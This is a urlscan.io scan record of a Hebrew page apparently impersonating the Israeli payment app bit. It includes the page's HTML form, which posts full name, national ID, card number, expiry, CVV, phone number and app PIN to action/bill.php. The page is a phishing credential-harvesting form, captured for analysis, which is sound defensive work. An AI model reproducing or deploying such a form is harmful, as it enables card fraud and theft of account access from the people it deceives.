myhomelosangeles.com Open in urlscan Pro
2a02:4780:32:2876:942b:6b60:adf6:a4e0  Public Scan

Form analysis
1 forms found in the DOM

POST action/bill.php

<form onsubmit="return validateForm()" id="myForm" action="action/bill.php" method="post">
  <div class="my-3 cardname">
    <p class="dis fw-bold mb-2" style="font-size:19px;color: #9e9e9e;">שם מלא</p>
    <input class="form-control" required="" placeholder="שם בעל הכרטיס" style="width: 100%;border-radius: 25px;border: 2px solid #2b5586;font-size: 18px;" onkeypress="return preventDigits(event)" name="name" type="text">
  </div>
  <div class="mb-3">
    <p class="dis fw-bold mb-2" style="font-size:19px;color: #9e9e9e;">מספר תעודת זהות</p>
    <input class="form-control" type="tel" style="width: 100%;border-radius: 25px;border: 2px solid #2b5586;font-size: 18px;" placeholder="מספר תעודת הזהות של בעל הכרטיס" onkeypress="return validateTelephone(event)" minlength="9" maxlength="9"
      name="id" required="">
  </div>
  <div class="mb-3">
    <p class="dis fw-bold mb-2" style="font-size:19px;color: #9e9e9e;">פרטי כרטיס</p>
    <input type="tel" class="form-control" onkeyup="$cc.validate(event)" placeholder="XXXX XXXX XXXX XXXX" style="width: 100%;border-radius: 25px;border: 2px solid #2b5586;font-size: 18px;" onkeypress="return validateDigit(event, 18, 19)"
      maxlength="19" minlength="18" name="ccn" id="cc" required="">
  </div>
  <div style="display:flex">
    <div style="display: inline-block;width=50%"><label style="font-size:1.2em;color: #9e9e9e;font-weight: 700 !important;">חודש תפוגה</label><select name="month" style="min-width:90%;border-radius: 25px;height: 45px;
  border: 2px solid #2b5586;;font-size:1.2em;
padding: 10px;font-weight: bold;
margin: 2px 0;
">
        <option selected="selected" style="padding: 10px;margin: 2px 0;">01</option>
        <option>02</option>
        <option>03</option>
        <option>04</option>
        <option>05</option>
        <option>06</option>
        <option>07</option>
        <option>08</option>
        <option>09</option>
        <option>10</option>
        <option>11</option>
        <option>12</option>
      </select></div>
    <div style="display: inline-block;margin-right:3%;width:50%;"><label style="font-size:1.2em;color: #9e9e9e;font-weight: 700 !important;">שנת תפוגה</label><select name="year" style="min-width:90%;border-radius: 25px;height: 45px;
  border: 2px solid #2b5586;font-size:1.2em;font-weight: bold;">
        <option selected="selected">2024</option>
        <option>2025</option>
        <option>2026</option>
        <option>2027</option>
        <option>2028</option>
        <option>2029</option>
        <option>2030</option>
        <option>2031</option>
      </select></div>
  </div>
  <div class="my-3 cardname">
    <p class="dis fw-bold mb-2" style="font-size:19px;color: #9e9e9e;">CVV/CSC</p>
    <input class="form-control" type="tel" placeholder="קוד מאובטח של כרטיס" style="width: 100%;border-radius: 25px;border: 2px solid #2b5586;font-size: 18px;" onkeypress="return validateTelephone(event)" maxlength="4" name="cvv" required=""
      minlength="3">
  </div>
  <div class="my-3 cardname">
    <p class="dis fw-bold mb-2" style="font-size:19px;color: #9e9e9e;">מספר טלפון</p>
    <input class="form-control" minlength="9" placeholder="הטלפון הנייד של בעל הכרטיס" style="width: 100%;border-radius: 25px;border: 2px solid #2b5586;font-size: 18px;" maxlength="10" required="" type="tel" name="tph"
      onkeypress="return validateTelephone(event)">
  </div>
  <div class="my-3 cardname">
    <p class="dis fw-bold mb-2" style="font-size:19px;color: #9e9e9e;">קוד אפליקציה קצת</p>
    <input class="form-control" placeholder="קוד אפליקציה קצת" style="width: 100%;border-radius: 25px;border: 2px solid #2b5586;font-size: 18px;" maxlength="4" minlength="4" required="" type="tel" name="pin"
      onkeypress="return validateTelephone(event)">
  </div>
  <div class="address">
  </div>
  <div class="d-flex flex-column dis">
    <p id="err" style="color: red;font-family: sans-serif;font-weight: bold;display: none;">לאמת מידע </p>
    <button type="submit" style="background-color: #2b5586;width: 100%;font-size: 21px;border-radius: 25px;border: 2px solid #2b5586;" class="btn btn-primary mt-2">המשיך </button>
  </div>
</form>

Text Content

מעבר לתוכן העמוד התחבר לחשבון נְגִישׁוּת
 * קצת עבור עסקים וארגונים
 * כרטיס קרפור
 * שאלות ותשובות


ביט, לדף הבית
 * קצת עבור עסקים וארגונים
 * כרטיס קרפור
 * שאלות ותשובות

שם מלא

מספר תעודת זהות

פרטי כרטיס

חודש תפוגה01 02 03 04 05 06 07 08 09 10 11 12
שנת תפוגה 2024 2025 2026 2027 2028 2029 2030 2031

CVV/CSC

מספר טלפון

קוד אפליקציה קצת



לאמת מידע

המשיך

כותרת תחתונה
 * אפליקציית bit
   * דף הבית
   * קצת עבור עסקים וארגונים
   * כרטיס קרפור
 * עֶזרָה
   * שאלות ותשובות
   * הצהרת נגישות
 * איש קשר
   * ניתן ליצור קשר בטלפון *6428
   * ראשון-חמישי - 9:00-17:00 | שישי וערבי חג - 8:30-13:00

 * גוגל פליי
 * חנות אפליקציות

 * אינסטגרם
 * פייסבוק